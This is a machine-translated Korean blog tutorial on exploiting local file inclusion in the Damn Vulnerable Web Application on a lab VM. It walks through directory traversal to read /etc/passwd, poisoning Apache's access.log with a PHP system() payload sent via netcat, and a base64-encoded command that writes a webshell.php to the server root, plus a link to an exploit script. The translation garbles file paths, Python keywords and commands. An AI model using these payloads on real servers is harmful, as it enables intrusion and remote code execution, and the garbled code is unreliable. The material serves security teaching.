젠장 취약한 웹 응용 프로그램 - 로컬 파일 인 클루 (LFI)
저자:
Ashfaq 안사

이용 후기:
평가:
5
행진 18, 2013
마지막으로 수정:행진 18, 2013

개요:

로컬 파일 포함될 (LFI) 취약점의 유형은 대부분의 웹 사이트에서 찾을 수 있습니다. 공격자가 로컬 파일을 포함 할 수 있습니다, 일반적으로 웹 서버에있는 스크립트를 통해. 이 취약점은 적절한 검증없이 사용자가 제공 한 입력의 사용으로 인해 발생.

소개

 

의 첫 부분에 젠장 취약한 웹 응용 프로그램 (DVWA) 시리즈, 우리는 우리가 설치할 수있는 방법에 대해 알아 보았습니다 젠장 취약한 웹 응용 프로그램 (DVWA)BackTrack은 5 R1.
 

당신은 첫 번째 부분을 읽지 않았다면, 여기 링크입니다: HTTP://hacksys.vfreaks.com / 펜 테스트 / 지독한 취약한-웹 응용 프로그램-SQL-injection.html

 

지금, 우리는로 알려진 또 다른 공격을 테스트합니다 로컬 파일 포함될 (LFI).
 

로컬 파일 포함될 (LFI) 취약점의 유형은 대부분의 웹 사이트에서 찾을 수 있습니다. 공격자가 로컬 파일을 포함 할 수 있습니다, 일반적으로 웹 서버에있는 스크립트를 통해.
 

이 취약점은 적절한 검증없이 사용자가 제공 한 입력의 사용으로 인해 발생. 이 파일의 내용을 출력으로 최소한으로 뭔가를 초래할 수, 하지만 심각도에 따라, 몇 가지를 나열하는 그것으로 이어질 수 있습니다:
 


1. 웹 서버에서 코드 실행.
2. 같은 크로스 사이트 스크립팅과 같은 다른 공격으로 이어질 수있는 JavaScript와 같은 클라이언트 측의 코드 실행 (XSS).
3. 서비스 거부 (거부).
4. 데이터 도난 및 데이터 조작.

 

지금, 뒤에 아이디어 로컬 파일 포함될 (LFI) 공격은 그, 그것은 웹 서버에 액세스 할 수있는 권한이있는 경우 공격자가 취약한 웹 스크립트를 사용하여 웹 서버에 로컬 파일을 포함 할 수 있습니다.
 

당신은 모든 생각을해야합니다 “거기에 큰 거래는 무엇입니까?”.
 

잘, 나는 이것이 매우 심각한 문제가 있다고합니다 웹 서버가 제대로 구성되어 있지 않은 경우.
 

하자, 공격자가 취약한 PHP 스크립트를 통해 웹 서버의 로컬 파일을 포함 할 수 있는지 고려. 그것은 그가 포함되는 파일이 모든 PHP 코드를 실행할 수 있다는 것을 의미.
 

지금, 여러분 중 몇몇은 생각해야합니다 “그것은 액세스 할 해커 도움이되지 않는 경우 로컬 파일을 포함하여 PHP 스크립트를 실행의 사용은 무엇입니까?”.
 

아파치 HTTP 서버 웹 서버에서 일어나는 모든 로그에 대해 서로 다른 다양한 메커니즘을 제공합니다, 초기 요청에서, URL 매핑 과정을 통해, 연결의 최종 해상도, 과정에서 발생할 수있는 오류를 포함.
 

여기에서 발견 된 보안 경고의 조각입니다 아파치 HTTP 서버의 문서 페이지.
 

링크: http://httpd.apache.org/docs/2.4/logs.html
 

보안 경고: 아파치 웹 서버는이 로그 파일을 작성하는 디렉토리에 쓸 수있는 사람은 거의 확실 서버로 시작되는 UID에 액세스 할 수 있습니다, 이는 일반적으로 루트. 사람들이 디렉토리에 쓰기 권한을 부여하지 마십시오 로그는 결과를 알고하지 않고에 저장됩니다. 자세한 내용은 보안 팁 문서를 참조하십시오. 게다가, 로그 파일은 클라이언트가 직접 제공하는 정보를 포함 할 수 있습니다, 탈출하지 않고. 따라서, 악의적 인 클라이언트가 로그 파일에 제어 문자를 삽입하는 것이 가능합니다, 그래서주의 로그를 다룰 때는주의해야한다.

 

귀하의 정보에 대한, 에 BackTrack은 5 R1, the 아파치 HTTP 서버의 로그 파일은 다음 위치에 있습니다:
 

/VAR / 로그 / 아파치 / access.log의

/var/log/apache2/error.log


 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 로그 파일 경로
 

당신은 이미 로그 디렉토리 권한에 대한 위의 보안 경고를 읽고. 공격자는 사용하여 로그 파일 경로를 찾는 성공하면 디렉토리 탐색 공격, 그는 로그 파일에 악성 코드를 작성하여이 로그를 독살 할 수 있습니다, 경우 “로그” 디렉토리 및 파일 권한이 제대로 구성되어 있지 않습니다.
 

우리는 어떻게 우리가 할 수있는 볼 수있을 것입니다 the 로그 파일 이 글의 후반부에서.
 

에 대한 기본 정보를 바탕으로 로컬 파일 포함될 (LFI), 하자 계속하고 실용적인 세션에서 그것을 경험.
 

주의: BackTrack은에 5 R1, the “access.log의” 에 대한 파일의 액세스 권한 “기타” 로 설정되어 “금지 된”.

 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 파일 권한 로그인
 

지금, 의를주게 “읽을 수 있습니다” 권한에 대한 액세스 “기타”.
 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 파일 권한을 로그보기
 

우리가 설정하는 “읽을 수 있습니다” 우리가 설명 할 수 있도록 허가 로컬 파일 포함될 (LFI) 사용하여 공격 젠장 취약한 웹 응용 프로그램 (DVWA).
 

설정 가져 오기 및 이동.

 

로그인을하자 젠장 취약한 웹 응용 프로그램 (DVWA) 그리고 설정 보안 레벨 낮은.
 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 저에 대한 보안
 

클릭 파일 포함될.
 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 파일 포함될 탭
 

HTTP://192.168.96.128/dvwa / 취약점 / /에서?페이지 = include.php

 

파일을 포함하도록 편집 ?페이지 = index.php를 포함되어있는 파일을 확인하는 URL에서.
 

위의 URL이에게 정말 취약 여부의 확인이하자 로컬 파일 포함될.
 

우리는 할 것 디렉토리 탐색 및 포함하려고 /passwd를 / 등 파일. 이 포함이 성공적인 경우, 우리의 콘텐츠를 찾을 수 /passwd를 / 등 웹 페이지에 표시.
 

HTTP://192.168.96.128/dvwa / 취약점 / /에서?페이지 = .. / .. / .. / .. / .. / etc / passwd에

 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) /etc / passwd에 포함될 내용
 

즉, 좋아 보인다! 우리는 포함 할 수 있었다 /passwd를 / 등 에 파일 젠장 취약한 웹 응용 프로그램 (DVWA) 성공적으로 웹 페이지의 전체 내용을 표시했다 /passwd를 / 등 파일.
 

우리의 다음 작업을 포함하는 것입니다 아파치의 로그 파일. 다시, 우리가 사용하는 디렉토리 탐색 및 포함하려고 /VAR / 로그 / 아파치 / access.log의 파일.
 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 액세스 로그에 포함될
 

HTTP://192.168.96.128/dvwa / 취약점 / /에서?페이지 = .. / .. / .. / .. / 로그 / 아파치 / access.log의

 

와우! 이것은 우리에 대한 좋은 날. 상황이 좋은 방법에서 작업. 아파치 웹 서버의 access.log의 파일이 성공적으로 포함되어 있습니다. 그것은 이제 좋은 표시의, 우리쪽으로 향하고 시도 할 수 있습니다 the 아파치의 에러 로그.
 

주의: 나는이 BackTrack의 사용 되었기 때문 5 년 이후 R1. 난을 취소합니다 access.log의하는 error.log 내가 쉽게 당신에게 로그 파일의 독 부분을 보여줄 수 있어요 있도록.    

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 로그 지우기

우리는 준비가 the access.log의 파일. 이 공격자를 포함하는 데 도움이 될 것 같은이 중요한 단계입니다 access.log의 를 제출하고 실행 중독 PHP 코드 에 기록 될 것이다 access.log의 이 단계에서 파일을. 중독은의 내용을 확인하여 확인할 수 있습니다 하는 error.log 파일.
 

를 엽니 다 단말기 와 연결 아파치 웹 서버 포트 80 사용 netcat을.
 

1
2
3
루트 @ BT:~ # 노스 캐롤라이나 192.168.96.128 80

GET /hazStart<?PHP 시스템(base64_decode($_GET[a]));?>HTTP hazEnd/1.1

 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 독 로그
 

지금, 중독의 성공 여부를 확인할 수 있습니다. 이를 위해, 우리는 모두 열립니다 access.log의하는 error.log 파일 및 그것의 항목을 이해하려고 노력.
 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 독 로그
 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 독 로그
 

시원한! 우리는이 중독 로그 파일. 모든 것은 예상대로 일했다.
 

주의: 우리는 이미 미니 PHP 쉘을 작성했습니다 access.log의 로그 파일. 지금 우리 옆에있는 동기는 지독한 취약한 웹 응용 프로그램을 호스팅하는 웹 서버의 루트에있는 다른 미니 PHP 쉘을 작성하는 것입니다 (DVWA).

 

다음은 웹 서버에 미니 PHP 쉘을 작성합니다 명령은.
 

1
에코 "<?PHP 시스템(base64_decode($_GET['P'])); ?>" > ../../webshel​​l.php

 

당신이 기억한다면 미니 PHP 쉘 우리에 주입하는 스크립트 access.log의 파일, 쉘 스크립트 코드는 아래와 같습니다:
 

1
<?PHP 체계(base64_decode($_GET['A'])); ?>

 

당신은 쉘 스크립트 코드를보고 후 우리가해야 할 다음 단계를 추측 할 수?
 

잘, 지금 우리가 사용하는 웹 서버 루트에 미니 PHP 쉘 스크립트를 작성하는 명령을 인코딩합니다 Base64 인코딩 알고리즘.
 

여기에 간단한 파이썬 프로그램입니다 base64로 인코딩 문자열:
 

1
2
3
4
5
#!/USR / 빈 / 파이썬

base64encodedstr = "" "에코"<?PHP 시스템(base64_decode($_GET['P'])); ?>" > ../../webshel​​l.php """

인쇄 "\N인코딩 된 문자열: " + base64encodedstr.인코딩('base64로','엄격한') + "\N"

 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) Base64로 인코딩
 

The base64로 인코딩 된 문자열 아래와 같습니다:
 

1
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

우리는 쉘 환영되기 전에이 마지막 단계가 될 것입니다. 🙂
 

우리는로 이동합니다 URL 를 작성하는 아래 미니 PHP 쉘 스크립트웹 서버 루트.

HTTP://192.168.96.128/dvwa / 취약점 / /에서?페이지 = .. / .. / .. / .. / 로그 / 아파치 / access.log의?= ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA / PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA =

 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) PHP 웹 셸
 

최종적으로!! 우리는 그것을 성공적으로 수행 한. 우리는을 업로드했습니다 미니 PHP 쉘 를 사용하여 로컬 파일 인 클루 취약점젠장 취약한 웹 응용 프로그램 (DVWA).
 

나는 자동화를 사랑하고 그 파이썬을 사랑하는 이유. 파이썬은 매우 간단하게 복잡한 일을 수행하는 당신에게 우수한 능력을 제공.
 

나는 우리의 착취를 자동화하는 쓴 파이썬 스크립트를 작성했습니다 로컬 파일 포함될 (LFI)젠장 취약한 웹 응용 프로그램 (DVWA).
 

젠장 취약한 웹 응용 프로그램 - 로컬 파일 포함될 (LFI) 스크립트 악용
 

공격 스크립트의 길이가 매우 큽니다으로, 이 게시물에 사용 된 모든 스크립트를 압축하고 다운로드 할 수있다.
 

다운로드 젠장 취약한 웹 응용 프로그램 – 로컬 파일 포함될 (LFI) 자료 게시:
 

DVWA - LFI 익스플로잇 스크립트
3.9 KIB
644 다운로드
세부 ...

 

이 게시물을 읽을 시간을 내 주셔서 감사합니다. 내가 당신을 도움이되기를 바랍니다. 당신에 대해 무엇을 논의하려는 경우 의문 사항이 있거나 코멘트를 남겨 주시기 바랍니다 로컬 파일 포함될 (LFI).
 

46,414 전체보기, 25 조회 수 오늘

다음 두 개의 탭은 아래 내용을 변경.

Ashfaq 안사

보안 연구원
아슈 파크 안사리는의 창시자이다 HackSys 팀 코드 이름 "표범". 그는 정보 보안의 다양한 측면에 경험을 가진 보안 연구원입니다. 그는 저술 "HackSys 익스트림 취약 드라이버" 과 "죽음의 쉘 코드". 그는 또한 작성 및 낮은 수준의 소프트웨어 개발에 대한 다양한 백서를 발표했다. 그의 핵심 관심에있다 "낮은 수준의 착취", "리버스 엔지니어링", "프로그램 분석" 과 "하이브리드 퍼징". 그는 인공 지능과 기계 학습의 팬보이입니다. 그는의 장 리드입니다 널 푸네.

2 에 대한 응답 “젠장 취약한 웹 응용 프로그램 - 로컬 파일 인 클루 (LFI)”

  1. 그것은에 access.log의 독출 허가없이 공격을 표시 가능한 것. 권한 집합을 떠나 즉 금지에? 대부분의 서버는 처음에이 옵션이있을 수 있기 때문에. 크게 감상 할 수있다.

    • 안녕 KC,

      불행하게도, 로그 파일은 할 필요 읽기 권한access.log의.

      하지 않는 한, 우리는 파일을 읽을 수 있습니다, 우리는 공격을 수행 할 수 없을 것.

      그러나, 당신은 할 수있다 다른 공격 경로를 시도.

      감사.

회신을 남겨주

귀하의 이메일 주소는 공개되지 않습니다. 필수 필드는 표시됩니다 *